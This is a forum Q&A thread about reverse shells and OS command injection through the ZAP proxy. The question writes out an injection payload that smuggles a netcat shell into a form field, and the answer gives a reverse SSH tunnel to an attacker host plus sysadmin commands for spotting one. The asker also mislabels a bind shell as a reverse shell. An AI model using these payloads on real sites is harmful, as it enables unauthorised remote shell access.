First I've got a few questions about Reverse shell.


I'm trying to understand the Reverse shell technique.

My reasoning is as follows (I'd be glad if you could point out any mistake about it)

1) Reverse shell is different (I'd say the opposite) from a normal shell since in this particular case the remote server opens a connection (normal or direct shell implies that the client establishes a connection to the server)

2) Reverse shell can bypass firewall controls since it's basically an outgoing connection. Firewalls are supposed to guard against incoming connections.(Probably this might be questionable)


3) Furthermore, is the following scenario feasible? (I mean, can I inject command through a proxy software like ZAP?)

Scenario: A site is vulnerable to user's input data. Users insert data through a text field.

OS: GNU/Linux. Server: Apache/2.2.15 X-Powered-By:PHP/5.3.5

Suppose that through a proxy software (like ZAP) after some checking, you are able to note that there's a field which matches the user's input field available through the user interface.

The field is called: user_val.

Given that, I can try to inject a simple command separator ";" which practically it is as though you set: user_val=;

Then I notice that there are some files embedded in the web page the application returns.

Wow, the app is vulnerable.

The application is vulnerable, so it's possible to directly interact with the server file system. Now ...the knotty problem (for me) 4) Is the following command correct? (Using ZAP I try to fire up a reverse shell)

netcat -v -e '/bin/bash' -l -p 40552 

-v (verbose),-e (when a connextion is made it runs the Bash shell), -l (parameter to listen for a connection) -p (it enables to assign a port to listen on, here port 40552), the port chosen must be free.

5) So using ZAP the injection is the following code correct?:

user_val=; netcat -v -e '/bin/bash' -l -p 40552 

Thanks a lot (I do apologize for the long post).


Yes, reverse ssh may be used to bypass firewall incoming limitations.

But As you have to run such a command on target:

ssh -R 2222:localhost:22 myuser@myipaddres

This will be visible by sysadmin via a simple

ps -C ssh ww

This command will print your IP address and the login used for remote ssh.

The following command:

netstat -tanp |
    sed -ne  '
        s/tcp.*\(127.0.0.[0-9]*\):22[\t ]*\1:.* \([0-9]\+\)\/.*/\2/p
        ' |
        xargs -n1 ps wwho sid --ppid |
        xargs  -n1 ps efwh --sid

will print exactly what you'r doing right now.

At all, if you're logged into a honeybot, (real) .bashrc contain something like script for logging everything you do.

And last but not least, Reverse SSH implie that target have an acccess to one of your host. So be care that in this host, there are not another opened ssh session.

  • So you're actually saying that my reasoning is correct. Of course as you stated there are many way to trace my ip and so on...but my purpose was to know if through a proxy like ZAP I could do some OS command injection
    – g9999
    Jan 1 '13 at 16:45
  • I don't know ZAP, but the process you describe seem correct...
    – F. Hauri
    Jan 1 '13 at 16:48
  • @g9999 ZAP is a http "attack" proxy, made for web-apps vuln analysis.... and rev shell needs a NEW connection to your host so ZAP is not involved in your reverse connection setup. It's irrelevant. It may if you point your sploit to connect to a ZAP's port on your machine but it's pointless. Jan 2 '13 at 7:16

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.